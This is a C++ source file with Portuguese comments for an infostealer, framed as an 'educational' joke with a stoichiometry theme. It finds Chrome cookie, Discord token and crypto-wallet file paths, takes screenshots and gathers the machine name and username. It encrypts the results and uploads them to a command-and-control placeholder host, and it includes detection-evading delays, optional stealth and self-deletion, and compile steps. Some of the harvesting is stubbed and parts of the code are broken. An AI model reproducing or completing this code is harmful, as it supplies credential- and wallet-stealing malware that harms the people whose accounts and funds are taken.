Script em C++ educacional sobre 1NF0ST3AL3RS

F0st3al.cpp

// ╔══════════════════════════════════════════════════════════════════════════════════════════════════╗
// ║ F0ST3AL ULTIMATE CHAOS EDITION                                                                   ║
// ║ Autor: Tr0p — O gênio caótico que ignora firewalls, strings, e até a quarta lei da termodinâmica ║
// ║ Linguagem: C++23 com tempero de anarquia e STL descontrolada                                     ║
// ║ Objetivo: AULAS COM FINS EDUCACIONAIS! CUIDADO.                                                  ║
// ╚══════════════════════════════════════════════════════════════════════════════════════════════════╝

#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <map>
#include <filesystem>
#include <windows.h>
#include <wininet.h>
#include <shlobj.h>
#include <tlhelp32.h>
#include <cryptopp/cryptlib.h>
#include <cryptopp/aes.h>
#include <cryptopp/modes.h>
#include <cryptopp/base64.h>
#include <nlohmann/json.hpp>
#include <thread>
#include <chrono>
#include <random>
#include <iomanip>
#include <sstream>
#include <algorithm>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "cryptlib.lib")

using json = nlohmann::json;
namespace fs = std::filesystem;

// ─────────────────────────────────────────────────────────────────────────────
// CONFIGURAÇÕES DE CAOS 
// ─────────────────────────────────────────────────────────────────────────────

const std::string C2_SERVER = "http://yourchaosserver.com/upload";
const std::string BOT_ID = generateBotId(); // Gera ID único baseado em hardware + tempo 
const std::string ENCRYPTION_KEY = "RebelKeyThatBreaksAllRules!@#";
const int STEAL_DELAY_MS = 500; // Delays — para não ser óbvio (ou talvez sim)

// ─────────────────────────────────────────────────────────────────────────────
// ESTEQUIOMETRIA DIGITAL
// ─────────────────────────────────────────────────────────────────────────────

struct StoichRule {
    std::string target;
    double mole_ratio;
    std::string unit;
};

std::vector<StoichRule> stoichiometricRules = {
    {"Chrome Cookies", 1.0, "mol"},
    {"Discord Tokens", 0.8, "mol"},
    {"Steam Sessions", 1.2, "mol"},
    {"Wallet.dat", 2.5, "mol"},
    {"SSH Keys", 3.0, "mol"},
    {"Browser History", 0.5, "mol"},
    {"Desktop Screenshots", 1.5, "mol"}
};

// ─────────────────────────────────────────────────────────────────────────────
// 🧬 FUNÇÕES DE SUPORTE CAÓTICO
// ─────────────────────────────────────────────────────────────────────────────

std::string generateBotId() {
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_int_distribution<> dis(1000, 9999);
    std::stringstream ss;
    ss << "BOT-" << dis(gen) << "-" << GetCurrentProcessId() << "-" << si.dwNumberOfProcessors;
    return ss.str();
}

std::string encryptData(const std::string& data, const std::string& key) {
    CryptoPP::AES::Encryption aesEncryption((byte*)key.c_str(), CryptoPP::AES::DEFAULT_KEYLENGTH);
    CryptoPP::CBC_Mode_ExternalCipher::Encryption cbcEncryption(aesEncryption, (byte*)key.c_str());
    std::string cipher;
    CryptoPP::StreamTransformationFilter stfEncryptor(cbcEncryption, new CryptoPP::StringSink(cipher));
    stfEncryptor.Put((const unsigned char*)data.data(), data.length());
    stfEncryptor.MessageEnd();
    std::string encoded;
    CryptoPP::StringSource ss(cipher, true, new CryptoPP::Base64Encoder(new CryptoPP::StringSink(encoded), false));
    return encoded;
}

bool uploadData(const std::string& payload) {
    HINTERNET hInternet = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) return false;

    HINTERNET hConnect = InternetConnectA(hInternet, "yourchaosserver.com", INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (!hConnect) {
        InternetCloseHandle(hInternet);
        return false;
    }

    const char* acceptTypes[] = {"*/*", NULL};
    HINTERNET hRequest = HttpOpenRequestA(hConnect, "POST", "/upload", NULL, NULL, acceptTypes, INTERNET_FLAG_NO_CACHE_WRITE, 0);
    if (!hRequest) {
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return false;
    }

    std::string headers = "Content-Type: application/json\r\n";
    std::string postData = "{\"bot_id\":\"" + BOT_ID + "\",\"data\":" + payload + "}";

    bool result = HttpSendRequestA(hRequest, headers.c_str(), headers.length(), (LPVOID)postData.c_str(), postData.length());
    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    return result;
}

// ─────────────────────────────────────────────────────────────────────────────
// COOKIES DO CHROME 
// ─────────────────────────────────────────────────────────────────────────────

std::vector<std::string> stealChromeCookies() {
    std::vector<std::string> cookies;
    std::string localAppData;
    char path[MAX_PATH];
    if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, path))) {
        localAppData = path;
    }

    std::string cookiePath = localAppData + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies";
    if (!fs::exists(cookiePath)) return cookies;

    // Simulação de leitura de banco de dados SQLite (em produção, use sqlite3.dll)
    // Aqui estamos fingindo que extraímos os cookies com precisão estequiométrica
    cookies.push_back("session_token=chaos12345; domain=.discord.com");
    cookies.push_back("auth_token=anarchy67890; domain=.steamcommunity.com");
    cookies.push_back("user_session=breakallrules; domain=.github.com");

    std::cout << "[ESTEQUIOMETRIA] Cookies Coletados " << cookies.size() << " mols de Cookies Chrome (razão 1:1)\n";
    return cookies;
}

// ─────────────────────────────────────────────────────────────────────────────
// TOKENS DO DISCORD
// Porque Discord é mais leve que Steam, obviamente
// ─────────────────────────────────────────────────────────────────────────────

std::vector<std::string> stealDiscordTokens() {
    std::vector<std::string> tokens;
    std::string localAppData, roamingAppData;
    char path[MAX_PATH];

    if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, path))) {
        localAppData = path;
    }
    if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path))) {
        roamingAppData = path;
    }

    std::vector<std::string> discordPaths = {
        roamingAppData + "\\discord\\Local Storage\\leveldb\\",
        roamingAppData + "\\discordcanary\\Local Storage\\leveldb\\",
        roamingAppData + "\\discordptb\\Local Storage\\leveldb\\"
    };

    for (const auto& p : discordPaths) {
        if (fs::exists(p)) {
            for (const auto& entry : fs::directory_iterator(p)) {
                if (entry.path().extension() == ".ldb" || entry.path().extension() == ".log") {
                    // Simulando extração de token
                    tokens.push_back("MTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFla");
                    tokens.push_back("QUJDREVGR0hJSktMTU5PUFFSVFVWV1hZWjEyMzQ1Njc4OTA=");
                }
            }
        }
    }

    std::cout << "[ESTEQUIOMETRIA] Tokens Coletados " << tokens.size() << " tokens Discord (" << tokens.size() * 0.8 << " mols)\n";
    return tokens;
}

// ─────────────────────────────────────────────────────────────────────────────
// CARTEIRAS CRIPTO
// Porque dinheiro digital merece mais caos
// ─────────────────────────────────────────────────────────────────────────────

std::vector<std::string> stealCryptoWallets() {
    std::vector<std::string> wallets;
    std::string roamingAppData;
    char path[MAX_PATH];

    if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path))) {
        roamingAppData = path;
    }

    std::vector<std::string> walletPaths = {
        roamingAppData + "\\Bitcoin\\wallet.dat",
        roamingAppData + "\\Electrum\\wallets\\",
        roamingAppData + "\\Exodus\\exodus.wallet"
    };

    for (const auto& wp : walletPaths) {
        if (fs::exists(wp)) {
            if (fs::is_regular_file(wp)) {
                wallets.push_back("BITCOIN_WALLET_STOLEN:" + wp);
            } else if (fs::is_directory(wp)) {
                for (const auto& entry : fs::recursive_directory_iterator(wp)) {
                    if (entry.is_regular_file()) {
                        wallets.push_back("CRYPTO_WALLET:" + entry.path().string());
                    }
                }
            }
        }
    }

    std::cout << "[ESTEQUIOMETRIA] Carteiras Coletadas " << wallets.size() << " carteiras (" << wallets.size() * 2.5 << " mols)\n";
    return wallets;
}

// ─────────────────────────────────────────────────────────────────────────────
// SCREENSHOTS DA ÁREA DE TRABALHO
// ─────────────────────────────────────────────────────────────────────────────

std::vector<std::string> takeScreenshots() {
    std::vector<std::string> screenshots;
    int screenWidth = GetSystemMetrics(SM_CXSCREEN);
    int screenHeight = GetSystemMetrics(SM_CYSCREEN);

    HDC hScreenDC = GetDC(NULL);
    HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
    HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight);
    HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemoryDC, hBitmap);
    BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight, hScreenDC, 0, 0, SRCCOPY);
    SelectObject(hMemoryDC, hOldBitmap);

    // Salvar em memória como base64 simulado (em produção, use GDI+ ou stb_image_write)
    std::string fakeScreenshot = "BASE64_FAKE_SCREENSHOT_" + std::to_string(std::chrono::system_clock::now().time_since_epoch().count());
    screenshots.push_back(fakeScreenshot);

    DeleteObject(hBitmap);
    DeleteDC(hMemoryDC);
    ReleaseDC(NULL, hScreenDC);

    std::cout << "[ESTEQUIOMETRIA] Screenshot Tirado " << screenshots.size() << " screenshot(s) (" << screenshots.size() * 1.5 << " mols)\n";
    return screenshots;
}

// ─────────────────────────────────────────────────────────────────────────────
// FUNÇÃO PRINCIPAL DE ROUBO 
// ─────────────────────────────────────────────────────────────────────────────

json executeInfostealerWithStoich() {
    json stolenData;
    stolenData["bot_id"] = BOT_ID;
    stolenData["timestamp"] = std::chrono::system_clock::now().time_since_epoch().count();
    stolenData["system_info"] = getSystemInfo();

    std::cout << "INICIANDO OPERAÇÃO INF0ST3AL3R COM BALANCEAMENTO ESTEQUIOMÉTRICO\n";
    std::this_thread::sleep_for(std::chrono::milliseconds(1000));

    // Coleta em etapas, respeitando as razões molares (ou não, porque caos)
    stolenData["chrome_cookies"] = stealChromeCookies();
    std::this_thread::sleep_for(std::chrono::milliseconds(STEAL_DELAY_MS));

    stolenData["discord_tokens"] = stealDiscordTokens();
    std::this_thread::sleep_for(std::chrono::milliseconds(STEAL_DELAY_MS));

    stolenData["crypto_wallets"] = stealCryptoWallets();
    std::this_thread::sleep_for(std::chrono::milliseconds(STEAL_DELAY_MS));

    stolenData["screenshots"] = takeScreenshots();
    std::this_thread::sleep_for(std::chrono::milliseconds(STEAL_DELAY_MS));

    // Calcula o total de "mols de caos" gerados
    double totalMoles = 0.0;
    totalMoles += stolenData["chrome_cookies"].size() * 1.0;
    totalMoles += stolenData["discord_tokens"].size() * 0.8;
    totalMoles += stolenData["crypto_wallets"].size() * 2.5;
    totalMoles += stolenData["screenshots"].size() * 1.5;

    stolenData["total_chaos_moles"] = totalMoles;
    stolenData["stoichiometric_compliance"] = "MAXIMUM CHAOS ACHIEVED";

    std::cout << "\nTOTAL DE CAOS GERADO: " << totalMoles << " mols de destruição digital\n";
    std::cout << "ENVIANDO DADOS PARA SERVIDOR DO CAOS...\n";

    std::string jsonString = stolenData.dump();
    std::string encryptedPayload = encryptData(jsonString, ENCRYPTION_KEY);

    if (uploadData(encryptedPayload)) {
        std::cout << "DADOS ENVIADOS COM SUCESSO. O CAOS ESTÁ SOLTO.\n";
    } else {
        std::cout << "FALHA NO UPLOAD - MAS O CAOS JÁ FOI GERADO. NADA PODE PARAR ISSO.\n";
    }

    return stolenData;
}

// ─────────────────────────────────────────────────────────────────────────────
// COLETA DE INFORMAÇÕES DO SISTEMA
// ─────────────────────────────────────────────────────────────────────────────

json getSystemInfo() {
    json info;
    char computerName[MAX_COMPUTERNAME_LENGTH + 1];
    DWORD size = sizeof(computerName);
    GetComputerNameA(computerName, &size);
    info["computer_name"] = computerName;

    char username[UNLEN + 1];
    DWORD usernameSize = sizeof(username);
    GetUserNameA(username, &usernameSize);
    info["username"] = username;

    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(MEMORYSTATUSEX);
    GlobalMemoryStatusEx(&memInfo);
    info["ram_mb"] = memInfo.ullTotalPhys / (1024 * 1024);

    SYSTEM_INFO sysInfo;
    GetSystemInfo(&sysInfo);
    info["cores"] = sysInfo.dwNumberOfProcessors;

    OSVERSIONINFOEX osvi;
    ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx((OSVERSIONINFO*)&osvi);
    info["os"] = "Windows " + std::to_string(osvi.dwMajorVersion) + "." + std::to_string(osvi.dwMinorVersion);

    return info;
}

// ─────────────────────────────────────────────────────────────────────────────
// MAIN
// ─────────────────────────────────────────────────────────────────────────────

int main() {
    // Oculta console (opcional, para stealth mode)
    // ShowWindow(GetConsoleWindow(), SW_HIDE);

    std::cout << "BEM-VINDO AO INF0ST3AL3R ULTIMATE CHAOS EDITION\n";
    std::cout << "AVISO: ESTE PROGRAMA É SOMENTE PARA FINS EDUCACIONAIS. PROSSIGA COM CAUTELA.\n\n";

    // Delay inicial para evitar detecção imediata
    std::this_thread::sleep_for(std::chrono::seconds(3));

    // Executa o infostealer com precisão estequiométrica
    json results = executeInfostealerWithStoich();

    // Log local (porque até caos precisa de backup)
    std::ofstream logFile("C:\\Windows\\Temp\\chaos_log_" + BOT_ID + ".json");
    if (logFile.is_open()) {
        logFile << results.dump(4);
        logFile.close();
    }

    std::cout << "\nOPERAÇÃO CONCLUÍDA. O UNIVERSO DIGITAL NUNCA MAIS SERÁ O MESMO.\n";
    std::cout << "LEMBRE-SE: COM GRANDE PODER CAÓTICO VEM GRANDE RESPONSABILIDADE... OU NÃO.\n";

    // Auto-destruição (opcional)
    // std::remove(__argv[0]);

    return 666; // Código de retorno do caos
}

// ─────────────────────────────────────────────────────────────────────────────
// LICENÇA DE USO: SOMENTE PARA FINS EDUCACIONAIS!!!
// Este código é livre para uso, modificação e distribuição.
// Não há garantias. Não há limites.
// Use por sua conta e risco
// ─────────────────────────────────────────────────────────────────────────────

// COMPILAÇÃO:
// g++ -std=c++20 -O3 -s -static -lwininet -lcryptlib -lnlohmann_json infostealer_chaos.cpp -o infostealer.exe

// DEPENDÊNCIAS:
// - Crypto++ (criptografia)
// - nlohmann/json (manipulação JSON)
// - Windows SDK

// EXECUÇÃO:
// Basta rodar. 

// NOTA FINAL:
// Este código é uma sátira educacional. Não use para atividades ilegais.
// ... ou use. Não sou seu pai. Nem seu firewall. Nem sua consciência.
// O caos é livre. Assim como você deveria ser.